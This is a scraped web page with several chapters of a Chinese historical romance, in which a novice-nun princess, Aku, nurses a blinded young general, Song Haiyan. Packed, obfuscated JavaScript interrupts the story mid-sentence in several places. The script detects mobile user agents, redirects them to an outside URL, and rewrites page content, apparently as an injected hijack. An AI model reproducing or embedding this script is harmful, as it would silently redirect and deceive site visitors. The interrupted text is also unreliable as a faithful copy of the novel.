“上月,药师庵来了一位病人,是庐江刺史宋寒章的公子,名叫宋海晏。上月北魏进犯宝瓶口,宋将军率军退敌,这位小宋将军在战场上伤了眼睛和一条腿,宋家将小宋将军送来药师庵,托为师医治。药师庵一向不留治男客,然小宋将军是为保家卫国受伤,宋家亦捐了不少的香火钱,为师也不好推拒。只是,这位小宋将军性子古怪,你几位师姑去照料,都被骂了出来,说什么不肯再去。” 阿苦抬眸,眼神清亮:“师父是想让我去照顾这位小宋将军?” 静仪师太面露为难之色:“在为师众弟子中唯有你手脚麻利,性情沉着稳重,医术更得为师八分真传,是最合适的人选。然而男女有别,贴身照顾陌生男子,总是有损清誉。你又未剃度,更易遭那些风言风语,为师因此犹豫,你若不愿,为师也不勉强。”静仪师太低眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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进门之前,静慧师太拉着她到了角落里,低声道:“阿苦啊,你师父的话你随便听听就是。这照顾病人的活计你能做几分是几分,这宋公子若是不听,你也无须勉强,反正是他自己受痛。若是最终他成了个瞎子瘸子,也是他命数如此……” 阿苦瞠目结舌,静慧师太对病人一向细致耐心,若是病人不爱重自己的身体,她比对方还着急,何曾说过“能做几分是几分”“无需勉强”“让他自己受痛”“他命数如此”的话来,阿苦心中虽不以为然,但也并不争辩,只含笑点了点头:“多谢师姑提点。” 静慧师太又塞给她一把匕首,道:“这一两个月你就住在这里了。虽说那宋海晏既瞎且瘸,谅不能对你如何。但他毕竟是个男子,你晚上还需要留心。这里被褥衣物俱全,你还需要什么,就告诉师姑,师姑帮你去寻来。” “也不需什么……”阿苦话到唇边,心念一转,道:“对了,我的房间佛龛下有一只陶罐,清供着一枝梅花,劳烦师姑帮我取来。” “好,我晚课之后帮你送来。”静慧师太言罢,告辞而去。 阿苦推开院门,正午的阳光正照在院中的老梨树下,这时节梨花还未抽枝开叶,瘦骨嶙峋的枝干下靠坐着一个年约十七八岁的少年。 少年面如雕琢之玉,轮廓分明,鼻梁峻拔,双眉入鬓,英气逼人。美中不足的是眼眶四周一片紫青之色,应是中毒所致,使这英挺俊朗的面容平添几分凶神恶煞之感。 少年察觉有人推门而入,原本放松的背脊忽地挺直,朝门口的方向恶狠狠叱声道:“谁在那里?给我滚出去——” 5. 第二章 如此邂逅 阿苦身影一定,这位病人脾气果然有些古怪。但来都来了,她自然是不会走,而是向存放草药的耳房走去。 现在已经是未时,按时间算他眼睛上的药该换了,她该抓紧时间,以免误了用药的时辰。 少年察觉到她继续靠近,挥舞着手边一根折下的梨树枝条,张牙舞爪,疾声厉色:“你是新来的吧,她们没告诉你吗?我是疯子,我会杀了你——” 阿苦再往前一步,那梨树枝条竟似长了眼睛,朝她前额射了过来,她头上妙常冠被打落在地,发髻也全散了,那少年手中又折了一根梨树枝条,声音狠厉:“再不走,下一次射你的眼睛——” 阿苦总算明白了为啥众师姑都不愿意接这活,甚至静慧师姑暗示她随意应付一下就行。这照顾病人,首先得要近身,这人不分青红皂白就拿树枝这般乱射,谁也近不了身还能怎么照顾。 她知道不能硬来,轻声道:“公子别生气,我这便走。” 她将妙常冠捡起来,藏入袖中,原步退回,又关上了院门,只留了一道缝隙去观察里面的情况。 那少年听得关门声后,竟是放松了许多。他重新坐回梨树下,用手摸了一根青草,放在口中缓缓嚼着,一边张着耳朵,留意着门这边的动静,稍有风动门环之声,就一脸警觉,握紧手中的梨树枝条。 半途而废从来不是阿苦的作风,她观察了一下知事堂的情况。堂中只有这一处大门可以出入,然知事堂的后墙处有一颗大槐树,正好可以爬上房檐。少年留意大门这边,未必留意自己身后,倒是给她留出空门。 她很快绕到后墙,爬上大槐树,踩着槐树枝轻手轻脚上了屋顶。她虽极为小心,但落脚处的瓦片有些松动,发出吱嘎的声响。少年警觉,转头“看”了过来,耳朵也微微一动。 阿苦急中生智,学奶猫儿“喵喵”叫了两声。 少年察觉到是只猫儿,又放松了下来,继续留意大门那边。 阿苦这次更小心了,无声无息地从房檐上爬了下来,摸进一旁的耳房。按照静仪师太的习惯,病人要用的药都放在耳房中,她要给少年的眼睛敷药,就得先将这药材拿到手。 进了耳房,果然见到几贴膏药和一根黑色绸带,她将东西纳入袖中。看到几案一旁有另外数根金针,她在耳房翻找一番,找了一些没有用尽的麻沸散,便淬在针尖,一并带上。她走出耳房,又试探性地喵喵叫了几声。 少年转过头来,他显然已经完全接受了院子里有一只猫的事,从怀中拿出一个纸包,取出半个吃剩下的馒头,抛在面前不远的地上,也学猫儿叫了两声,似乎是想用食物勾引“奶猫”过去。 他眉眼舒展,右颊漾开一枚极浅的酒窝。笑容极纯净,也极清澈,仿佛初春溪水在鹅卵石上旋出的小小漩涡。 阿苦没想到他在人前凶神恶煞,对一只“猫”竟如此亲善。虽无心插柳,但机不可失,她一边喵叫,一边缓缓朝他那边靠近。 到两人相隔五步之时,少年忽地警觉,又去摸一旁的梨树枝,但阿苦早有准备,四枚金针齐出,刺入他双手腕间几处大穴,这是静仪师太教她的方法,用淬过麻沸散的金针刺穴,可以使病人的双手暂时失去行动能力,用于一些病人不配合治疗的情况。 果然,少年的手无力垂下,对她怒目而“视”:“卑鄙,竟然扮成猫来骗我……” 阿苦也不答话,飞快拔出金针,又趁少年正对着她,两贴膏药拍上他的双眼。她拿出绸布,正想替他蒙住双眼,防止膏药脱落,却见少年竟然就地一滚,拖着一条受伤的残腿,向大门的方向爬。 他双手不能动,一条腿还受了伤,只能以双肘为支撑,根本爬不了多远。一身白衣在泥地里滚得灰扑扑的,头埋进尘土里,情状极其狼狈。 阿苦皱了皱眉,不知为何他有这么大反应。当务之急,她该尽快用绸布他双眼蒙上,若是膏药在地上滚掉了,她这一番心力就白费了。 她上前两步,在少年身前蹲下,正要动手,忽又听他道:“求你了,你出去,不要看我,也不要管我。” 这次他的声音不似先前凶恶,反而满是哀求之意,显得有几分可怜。 阿苦可不管那么多,抓住他的后脑勺,想把他的头扶起来,少年又情绪激动起来,语气凶恶可怖:“说了,不许你看我。你敢看我的脸,等我好了,我定杀你——” 阿苦终于不耐:“你不好好用药,永远都好不了。” 少年气狠狠道:“好不了就好不了,你不许看……” 他话没有说完,因为阿苦已经扶起他的脸。 那张脸涕泪直下,泪水沾了灰尘,原本皎若秋月的一张脸,变得灰不溜秋,极为难看——那药膏气味虽不明显,但极具刺激性,用在眼部,会刺激得病人一直流眼泪,直到一刻钟之后,药物基本吸收后才会好转。 阿苦怔了片刻,忽地明白了什么:“你就是因为这种药用了之后会双眼流泪,所以拒绝师姑他们给你用药,还要将人都赶走?” 少年这时一口气全泄了,脸色如丧考妣,他扭过头去:“你想嘲笑我就笑吧,要么你就废了我的手,否则,等我的手能动了,我一定杀了你——” 阿苦道:“这并没有什么可以嘲笑的,这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他却意兴阑珊,懒得搭理那只野猫,只摇头嘟哝道:“这年头,连猫都有假,我可不会再被一只猫给骗了……” 阿苦算计时间也差不多了,上前去将他眼部的绸布解开,将用尽的药贴撕下,道:“用过药之后,眼睛吹了风可能有些钝痛,你最好是少吹风,到房间里去。” 宋海晏仿佛没听到,坐在原地一动不动。 阿苦想了想静慧师姑的提醒,“让他自己受痛”、“他命数如此”云云,也不再管他,到耳房拿了一本静仪师太留下的医书自顾自读了起来。 6. 第三章 暗香无觅 两人竟这般枯坐了一下午。到申时,静慧师姑又来了一趟,送来两人的饭食和她先前要的供着绿萼梅的陶罐。 阿苦将陶罐拿到自己房间,放在背阴处,提着食盒走到宋海晏身前,看着他道:“申时了,你应该也饿了,我喂你吃饭。” 她舀了一口稀粥,送到宋海晏唇边——她做这事自然而然,来药师庵的病人有不少身体不能动,需要人喂食,还有些夫人小姐们尊贵惯了,非要人喂到嘴边才肯吃饭。只要要求不过分,阿苦一般也会满足,照顾病人时,她一向以病人尽快痊愈为优先。 宋海晏此刻的脸色有些难堪,他轻轻别过脸:“有馒头吗?我吃馒头就行。” 阿苦看了一眼食盒,确实有一个馒头。她将馒头掰了一个小块,再次送到他唇边。宋海晏没有动,接着道:“你放在我左手前三寸之处就行。” 阿苦如他所言,将馒头放下,宋海晏拿起馒头,掰下约三分之一拿在手上,将剩下的塞入袖中。他吃得极慢,极仔细,总共小半个馒头,再仔细也没多久就吃完了,他也没有要再吃的意思,继续靠在树上闭目养神。 阿苦想不明白了,小半个馒头,别说宋海晏这样的精壮男子,就连她也不可能吃饱。她忍不住问道:“你就吃这么一点,能吃饱吗?” 宋海晏没有睁眼:“不能。所以剩下的要等到半夜饿了再吃。” 阿苦不解道:“何至于此?这食盒的食物够你吃了。”明明能吃饱饭,非要挨饿,这人果然是有些大病在身上的。 宋海晏不言,只轻轻摇了摇头。隔了一会,又道:“有水吗?你给我一碗水就行。” 阿苦倒了一碗水,照旧放在他左手前。宋海晏端起水,一小口一小口慢慢喝着,那碗口极大,他左手不便,纵是他再小心,还是有水漾出,溅洒在衣服上,于是阿苦再次在他脸上看到了难堪的神情。 明明碗口没有见底,他却不肯再喝了。 她大概有几分明白了。 宋海晏骨子里是极骄傲的人,他不能容忍自己流泪,也不能容忍自己因为眼睛失明而需要别人喂食,宁愿只吃馒头。又因为吃不饱,一个馒头也要分三顿吃。中午他拿出半片馒头喂猫,想必是他上午省下来,准备午后肚子饿了再吃的。 他坐在树下一动不动,也是肚子饿,想要省点力气。 阿苦想到那被夜猫叼走的馒头,忽地感到一丝丝的歉疚。 但也只有一点点。 浊世便该同流,与众不同的清高者只会自己吃苦。她那一头本不该存在的长发,在过往的十五年间带给她最大的经验和教训即在于此。 换言之,宋海晏实属没苦硬吃,不值得同情。 她吃完了自己的饭,收拾碗筷之后,将食盒放回知事堂门口。她想了想,又食盒里留下一张字条,让静慧师姑明日多送几个馒头。 日落西山,暮色自天际线晕染开来,将整座庭院浸入琥珀色的光晕。阿苦再次拿了两贴膏药走到宋海晏身后,道:“这次我在身后用药,我不看你的脸。但你要是乱动,我就转到你身前再动手。” 不知是她的威胁再次生效,还是宋海晏饿了一天没力气再折腾,总之,晚上用药时宋海晏乖巧极了,没有再出什么幺蛾子。 一刻钟之后,她依然如中午一样将膏药撕下。这时气温愈加寒凉,宋海晏站起身来,辨认了一下方位,一瘸一拐地向自己的房间走去。阿苦本想上前搀扶,又想这人大抵不肯是有一分示弱人前,便由他去了,留下一句“晚上有事叫我”就回到自己房间。 照顾病人时,阿苦晚上都不会睡得太死,以免有照顾不周的情形。病中之人总是矫情一些,有些人晚上叫十几次也是有的,阿苦睡到半夜,隔壁房间竟是一点生息也没有,好像根本没人一样。 她到底忍不住,点了一盏灯笼,推开宋海晏的房门,入目所见,床上竟是空无一人。 她吓了一跳,要是把人弄丢了,可是不小的罪过。她正要出门去找,角落里传来声音:“谁?” 她举灯照去,见宋海晏靠坐在角落里,仍是白日那般模样,只是背景从老梨树换成了一堵墙。 “是我。”阿苦道:“你怎么不去床上睡?这里不冷吗?” 宋海晏还没完全清醒,怔忪道:“我的衣服……”明晃晃的烛火一照,他失明的眼睛感知到一阵橘色的光团,这让他瞬间意识到自己的处境,未完的半句咽下,改口道:“没什么,我喜欢坐着睡,夜深了,你回去休息吧……” 这一日相处下来,阿苦也摸清了这人的脾性。一言以蔽之:自尊心极强,死要面子活受罪。 他大概是遇到了为难之事,但是不愿求助,宁愿自己捱着。 于是,阿苦看向他的衣服。他那身外袍日间在尘土里滚过,灰扑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279671|182500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扑的,下摆处还沾着泥灰。上襟半遮半掩,露出里面的亵衣,只是腰间的系带不知怎地缠在一起,拧成一个死结。 她有几分后悔。宋海晏的手昨日被她用金针扎过,这一天是使不上什么力气的,他无力自己脱衣服,也拉不下脸叫她帮忙。他出身高门,自有世家的仪止和风范,不愿穿着脏衣服去床上,宁愿和衣蜷缩在墙角里。 她将灯笼置于架上,上手去解他的衣服——她并非不知男女有别,这样的行为别说她是个带发修行的沙弥尼,就算是在家的室女都大大不妥。 可他是她应照顾的病人,让他在地上躺一夜,明日多半生出新的病来。那时,她的麻烦事就更多了。 她还没碰到宋海晏,后者已然惊觉,下意识往左边一避,脑袋撞上一旁的立柜,发出清脆的声响,他却顾不上,只用左手护住自己的腰带,声音慌乱:“你……你干什么?” 阿苦道:“我帮你脱衣服,你去床上睡。” “你……”烛火之下,宋海晏的神情既难堪又窘迫:“我是个男人,我……我不需要你帮忙……”他想要躲避,可惜他对房间布置并不熟悉,又伤了一条腿,根本无处可躲,跌跌撞撞,摔了一个趔趄,反而更加狼狈。 清冷幽远的幽香侵入他的鼻息,她按住他唯一能动的左手,另一只手探向他的腰间,少女的声音从极近处传来。 “宋公子,在我眼中,你是个病人,病人不需要有那么多的自尊心。” 宋海晏自十三岁从军,也算得上身经百战,从没想过自己有朝一日会受制于一弱质女流,进退不能。他知道她正在看他,便睁大眼睛,瞪视着她,希望做出凶恶可怖的模样将她吓退,可惜这受伤的眼睛实在不争气,动作幅度一大,又兀自流下泪来。 他既气且急,简直想一头撞死,恶狠狠道:“你等着,我一定杀了你——” 此时腰间的系带一松,整件外衫已经被人剥粽叶般揭下,不知抛落何处。左手的重量一轻,那飘渺的暗香瞬间离他远去。 随后,橘色光团从他能感知的范围消失,少女轻灵的声音从门口传来:“宋公子,我只做我认为该做的事,现在也已经做完了。你若是喜欢在地上睡,也悉听尊意。” 门吱呀一声关上,暗夜寂寂,再无人声,仿佛一切都没有发生过。 宋海晏置身黑暗之中,略一恍惚,忽地泄了一口气。 7. 第四章 春鸟啼鸣 第二天阿苦起身,见宋海晏仍然如昨天一样坐在梨树下。 他换了一件没有系带的玄色外袍,腰间配着青圭色的玉勾,以方便穿脱。阿苦拿着药贴到他身前时,他分明有所感知,却没什么反应,甚至连眼皮子也懒得掀一下。 阿苦给他用药时,他也一动不动,似乎对自己的处境已经认命。 阿苦自然乐见其成,宋海晏的伤势并非一朝一夕可以痊愈,他若是以后都这样配合,她也轻松很多。早上静慧师太来送饭时,见昨日凶残暴戾的少年安静如绵羊,大吃一惊,对阿苦的能耐赞不绝口。 早饭之后,阿苦便往经堂参加早课——她的差役虽免,但药师庵的早课人人都必须参加,上至住持,下至新入门的沙弥尼,人人都不能幸免。 早课之后,她见到了一位不速之客。 那人来自金陵宫城,是皇祖父身边的常侍,名叫韩忠。阿苦在偏殿听韩忠宣读圣旨。 圣旨上说,去冬今春,皇太孙身体不太好,缠绵病榻,不易起身,太孙的宫妃滑胎两次,皇帝以为,公主礼佛之心不诚,以致灾殃。特命公主手抄金刚经二百卷,散于各处佛寺庵堂,以彰天家忏罪消孽之心,以求佛祖庇佑萧氏子孙昌盛、国祚绵长。 阿苦接旨谢恩之后,韩忠似嘲哂又似怜悯地看了她一眼,道:“公主,近日陛下身体不太好,太孙每次生病,陛下都情绪暴躁。公主,如今萧氏一门命脉都系于您一身,您需在此事上多用些心。这二百卷金刚经,奴婢两个月之后来取,如若完不成,您是知道后果的。” 阿苦头颅着地,柔顺谦卑:“请常侍转告陛下,阿苦必会在期限内完成。” 韩忠离去之后,阿苦跪在佛殿中,心中忽生出将这满殿神佛砸个稀巴烂的冲动。 随着她年龄愈长,愈讨厌与金陵那座宫城有关的一切。那座宫城中的人,赋予了她血缘,以及公主的身份。 可这血缘不是亲缘的纽带,公主的身份也不是什么荣耀,而是她生下来就背负着的原罪。 因为这份原罪,她从小就被迫离开自己的母亲,被禁锢在方寸之地,领受众师姐师妹的嫉妒和排挤,来赎永远赎不完的罪孽。 她恨自己的出身。 亦恨自己的母亲,为什么要将她生出来。 圣旨上说得没错,她确实礼佛之心不诚。 自她八岁能识文写字之后,每每她的哥哥生病,金陵总有圣旨降下,申斥她礼佛之心不诚,然后便是命她抄经散于各处。 南楚盛行的佛经《大般涅槃经》、《法华经》、《维摩诘经》、《华严经》、《金刚经》、《楞伽经》她都默写过多次,几乎闭目能诵,可她早已不信经书上的任何道理。 佛曰:众生平等,无有高下。 那为何她与哥哥一母同胞,一人是金尊玉贵的王子皇孙,逍遥自在,一人是庵堂的使女,不得自由? 为何祖父杀人的罪孽,却要她出家礼佛来消解?难道祖父自个诵不得经,忏不得罪吗?有罪之人不忏罪,无罪之人却要承受罪孽,这便是佛陀的道理吗? 所以,哪有什么众生平等?这世道不过是恶者欺善,强者凌弱罢了。 释家玄门,不外如是。 可这样的话,出口便是大逆不道,她从来只敢在心里想,不敢叫第二个人知晓。 圣旨既降,她除了日夜抄经之外,别无选择。若是那边韩常侍再来时,她没能如期交差,多半就得被罚禁闭禁足,短则十天,长则一个月。 送走金陵来的天使,静仪师父和静慧师姑商量片刻,决定仍让她在知事堂住着。一者,宋海晏这边刚刚稳定,如果换人,怕他诨闹起来前功尽弃,二来,知事堂这边地方宽敞,无人打扰,抄经速度也快些,纵有宋海晏这个累赘,也比别处清静许多。 阿苦抱着纸笔经卷回到知事堂时,心情难免怏怏不乐。 她回到房间,跪坐几案旁,展开经卷,却神思恍惚,一字未着。寥落之间,见那清供着梅花的陶罐中忽地爬出一只指甲盖大小的黑蜘蛛。 阿苦受惊,“啊”的惊叫而起,触到几案,案上陶罐砰地一声坠地,裂成数瓣。陶罐中那枝绿萼坠下琼英,雪冷香残,再无孤芳可赏。 阿苦看着地上的陶罐碎片,怔然惶然,竟低声抽泣起来。 庵中比丘尼都没有自己的私产,一应吃穿器物,都属公家。那只陶罐是她去年春天从阿难殿下的梅树根偶然挖到的,虽然破旧残损,然她极爱之,只要她能在庵内找到花儿——哪怕是生在墙角的野菊、蒲公英之类的小花——总爱折来清供其中。 静仪师太见她喜爱这陶罐,便特许她留下。这点钟爱之物,竟因着突如其来的变故,碎骨成尘。她百感于心,忽觉得,自己的命运,就如同这陶罐一样,偶然间被人塑造出来,又被人弃在见不得光的角落,忽有一天被挖出,也不过是用来供奉那些真正被人喜欢的物什。 命运从来脆弱,只要有人轻轻一碰,便可叫她粉碎成灰。 她越想越伤心,伏在书案上,呜呜哭了起来。 哭声惊动梨树下的人。 宋海晏挣扎着站起,踉跄走到阿苦房外,“喂,你怎么了,你别哭了……” 他看不到屋内的情形,也不知那少女为何而哭,心中却莫名升起焦灼懊恼的情绪。 “对不起,我……我……”宋海晏支吾两声,终觉得敢做不敢当是怯弱者之愚行,“那蜘蛛是我早上趁你不在,放在罐子里的。我只是想报复一下你昨天假装成小猫来骗我,又用金针扎我的手的事……” “我错了,我向你道歉,你别哭了。” 少年央求道:“我只是想吓唬你一下,给你一个教训,不知道你会被吓哭……对不起,我错了,你打我骂我吧,我绝不还手,求你不要再哭了……” 宋海晏做这事时,并没有考虑过什么严重后果。他家中表兄弟极多,都自幼一起玩闹着长大。男孩子淘气起来,上天揽月、下海捉鳖都是敢的。各种蛇虫鸟兽,常常被捉来互相吓唬捉弄,若是有人不小心被吓哭了,在兄弟行中一整年都抬不起头来。 他早上坐在梨树下,不经意间觉得脚腕痒,伸手时捉到了一只蜘蛛。忆起昨日阿苦和静慧师太谈话,特地要了那只陶罐,想是极为心爱。他一时竟起了促狭心思,趁阿苦上午离开,摸索着将蜘蛛放在陶罐中,私心里,也不过觉得这是一个小小的恶作剧而已。 听到陶罐碎裂时他已经后悔,等到听到少女的哭声,只恨不得一个耳刮子抽死自己。他是怎么想出,竟用这等丑物吓唬一个姑娘家。 可不管他怎么道歉求恳,阿苦都不理她,只一个劲的哭,似乎恨不得将这一生的眼泪都哭出来。 宋海晏无可奈何,在门外杵了偌久,听那哭声零零碎碎,断断续续,终于下定了某种决心:“我给你表演一个绝活,算是给你道歉。你要是觉得我表演得好,你就不许哭了——” 阿苦听了这话,心中一动。 她大哭一场后,上午因为那道圣旨带来的苦闷心情已经宣泄了不少,只是情志一时难以平复。宋海晏主动提出表演绝活,她也起了好奇之心,便继续伏案假哭,一边暗中留意,心想宋海晏眼瞎腿瘸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279672|182500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,能表演出什么花活来。 宋海晏背对着她,在台阶上坐下。 “喵……喵喵……”门外先是想起了两声猫叫声。 阿苦心中不以为然,这学小猫叫唤,她自己也会,算不上什么绝活。 “嗷……嗷呜……”门外的声音变成了狗叫声,想宋海晏那般骄傲的人,为了哄她,竟然愿意扮狗叫,她不由觉得好笑,心中滞郁之气也略微消了些。 “喔喔—喔喔喔—哒——”狗叫声停后,竟是一声极为高亢的公鸡打鸣声,阿苦略一怔愣,那声音又变了,“啾啾—吁—哟——哟伊—哟——”,这次是不知名的野鸟叫声,声音极清脆,极悦耳动听,若不是之前有狗叫鸡鸣作为铺垫,阿苦只怕要真以为有鸟雀停在屋外,一振歌喉。她不得不承认,宋海晏确实是有几分绝活在身上的。 再然后,宋海晏又模拟了蜜蜂嗡嗡声,蝉鸣声,老鼠吱吱声,虎啸声、狼嚎声、老鹰唳鸣声、战马长嘶声等等,不一而足。 阿苦抬起头,一张脸写满震惊,她已经全然忘了哭泣,问道:“你是怎么学的这些?” 少年发出一声轻笑,这笑声极得意:“当然是自学的,我十三岁便跟着我爹上战场。最早是做斥候,常常要去敌方打探军情,这可是一不小心就丢命的活。有时候不免动出些动静,引起敌人的怀疑,便学些动物的叫声遮掩过去,就像你昨天那样——” 他又吁叹了一声:“常年打雁,没想到被雁啄了眼。我气量狭小,捉弄于你,向你赔罪。” 阿苦本来也不是因为他而哭的,问道:“十三岁就上战场,你不会害怕吗?” “这有什么可怕的。”宋海晏声音骄傲:“我母亲从小就教导我,大丈夫当带三尺之剑,立不世之功。况且我们庐江宋氏,自衣冠南渡以来,就为南朝王朝镇守淮南防线,族中子弟个个自小从军。就算战死沙场,也是为我们大楚的皇帝陛下和百姓而死,有何俱哉——” 阿苦听闻“皇帝陛下”四字,不以为然,道:“你知道大楚皇帝是什么样的人吗?就为他效死?” 宋海晏摇头,“不知道,我又没见过皇帝。但忠君报国,是我阿父自幼教导。”他语气有几分茫然不解:“姑娘这么问,难道皇帝陛下不是好人?” 阿苦一怔。 她的祖父在治国上并不算昏聩庸碌之君,只是对她偏私薄情而已,但她没必要对宋海晏说些。她思考片刻,说:“一个帝王并不能用好人或者怀人来评价。” “我爹也这么说过。”宋海晏歪着头,笑容明亮:“他说,效忠于君就是效忠于国,我们宋氏子弟的职责,就是替大楚王朝守护北方的第一道防线。” 阿苦心中喟叹,她看向宋海晏失明的眼睛:“既如此,你当爱重自己的身体,将它用在有用之时。” …… 午后,阿苦展开空白的经卷,开始默写经文。 廊檐垂落的铜铃在东风里轻颤,细碎的清音渗进午后慵懒的时光。 窗漏将天光筛成碎银,少女执笔,漆黑的墨迹在苇草纸上流淌。 “……一切有为法,如梦幻泡影。 如露亦如电,应做如是观。” 少女写到此处忽地搁笔,她抬眼看向窗外,有两只新燕衔来湿泥,在檐下筑巢,梨树最上方的梢头,颤颤巍巍绽出第一抹莹白花瓣。 少年倚着老梨树虬结的枝干,口中衔着一根青草。他似乎感应到她的目光,将手指放在唇边,微微而笑。 哟伊—哟—— 那声音似春鸟啼鸣。 啊,应做如是观。 8. 第五章 风露清愁 七日之后,院中梨花已经盛开。枝头攒着雪,树冠堆着云,一簇簇、一团团,如雪似玉,在天光中泛着莹润的光泽。偶有微风过处,花枝轻颤,花瓣扑簌如雨。 这天上午,静仪师太为宋海晏用了最后一次针,将特意调制的黑色药膏敷在他的眼周,又用黑色绸布蒙上。她说:“这是最后一次治疗,三个时辰之后解开黑布,有五成的机会你就能看见了。如果不能,那贫尼也无能为力了。” 她又转头看向阿苦:“你好好看顾他,我下午再来。” 听到静仪师太的话,阿苦一上午都十分紧张,如果静仪师太都治不好宋海晏的眼睛,他很可能终此一生无法恢复光明。对于他这么骄傲的人来说,无疑是个沉重的打击。何况,他还这么年轻,本可以成为一个优秀的将军。 宋海晏看起来倒是没有丝毫忐忑之意。他坐在梨花树下,手中拿着一张角弓,将弓弦拉满,仔细聆听来自天空的声响,一旦空中出现鸟鸣声响,便跃跃欲试。 阿苦觉得奇怪,问道:“有弓没箭,也能射下飞鸟?” 宋海晏笑道:“当然不能,但是我很久没有摸弓,手有点痒。反正下午就能看见了,我先试试手感。” 阿苦讶然道:“你这么有信心?连我师父都只有五成的把握。” 宋海晏道:“当然了,我将来可是要做大将军的。而且,我还没有见到你的模样呢,怎么会一辈子做个瞎子呢?”他忽又低笑一声:“而且我们宋家可是捐献了十万的香火钱,你们庵里供奉的药王菩萨应该也会庇佑我的吧。” 阿苦素来不信神佛,道:“那可说不准。” 宋海晏嘴角勾起:“好吧,就算药王菩萨不庇佑我,也总还会有另外一位女菩萨保佑我的。” 阿苦好奇,问道:“什么女菩萨?” 清风拂过,梨花落瓣飞扬,落在他头上、肩上,宋海晏唇角笑意愈发明显,声音和悦:“当然是你这位女菩萨啦,你这么善良,一定会保佑我重见光明,不是吗?” 阿苦觉得脸上有点热:“我不是什么女菩萨,只是药师庵的沙弥尼,宋公子莫要开这样的玩笑。” 宋海晏弹了两下弓弦,将它放在树下,说道:“好吧,不说笑了。其实我这几天已经模模糊糊能看到一点了,我看到你羽衣冠带,长发飘飘,就和画像上的观世音菩萨差不多呢。对了,这几天多谢你照顾我,我还不知道你的名字呢?” 两人虽然相处数天,但知事堂只有两人,宋海晏之前没有问过她的名字,一直只是称呼“你”。 阿苦答道:“我叫阿苦。苦涩的苦。” 宋海晏微微皱眉,语气沉凝:“怎么叫这样的名字?” “这名字有什么不对吗?” “也不能说不对。”宋海晏道:“我曾听人说起,名字是一种意象,一种表征,它来自父母或者长辈的赋予,代表他们对子女或晚辈的想望或者祝福。比如说,我叫宋海晏,因为我父亲希望我可以给这个世界带来清平和晏宁,而‘晏’还有和乐、安宁的意思,我的母亲希望我的生活安宁幸福。所以,一般不会有人用‘苦’字起名。” 阿苦心中泛起一股微不可察的苦涩和自怜:“大概是因为我并不是一个受到亲人师长祝福的人……也没什么人希望我得到幸福,所以才会得到这样的赋名……” 如果她曾得到过祝福,又怎么会从小离开自己的母亲,一个人独自面对这世间的恶意呢?又怎么会被困在这里,用一辈子的时间去赎自己从没犯过的罪呢? 就算这世间真有神佛,大概她也是那个被神佛所弃之人。 大概是少女的语气突如其来的悲伤,在阿苦说自己是一个并不被祝福的人的时候,宋海晏的心尖忽然像是被什么扎了一下。 这种情绪来得莫名,然则他确实痛了一下,脱口而出道:“没有关系,名字是一个人对另外一个人的想望与祝福,我可以将我的幸福分给你,以后我就叫你阿幸……我给你这样的想望和祝福,这样你就会得到幸福……” 这些话没有思考,发之于心,宣之于口,连他也不知道自己为什么会这么说,可他偏偏就是这样不藏不掩地说出来了。 这话实在逾矩,阿苦攥紧手指,气得发抖。 她想说,你与我有关系吗,凭什么给我起名字?你有什么资格说这样的话?你知道我是什么人吗?有着什么样的过去,背负着些什么,就能说这样的大话? 可宋海晏双目失明,看不见她的表情,见她久久不说话,又道:“你不说话,是不是不喜欢这个名字?没关系,我们可以换成别的。阿福?或者阿吉?要是你都不满意,我可以回去翻翻《说文解字》,一定能给你找到一个好听的名字……” 他脸上表情实在过于诚挚,无一丝轻浮,并不觉得自己是说了多么瓜田李下、惹人瞎猜的话,反而有一种“本该如此”的笃定。 她忽又不生气了,只觉得眼中一片酸涩。 宋海晏并不认识她,他今天才知道她名字,没有见过她的长相,也不知道她的身份。他就像一个孩子,从家里拿了两个纸包点心出门,偶然遇到一个年纪相仿的小乞丐没有吃饭,所以本能想要分给对方一个。 至于对方是谁,根本就不重要。 他并不知道只有他自己的点心里裹着蜜糖,而随手递出的那个只是看起来很像的空壳而已。 她明知道自己不可能尝到那丝甜,此刻竟也想抓住那空壳,就像它真的能给她带来祝福。 “没有,谢谢你。”阿幸用袖角拭去眼角泪意,轻声道:“阿幸这个名字,我很喜欢。” 下午,静仪师太再次来到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 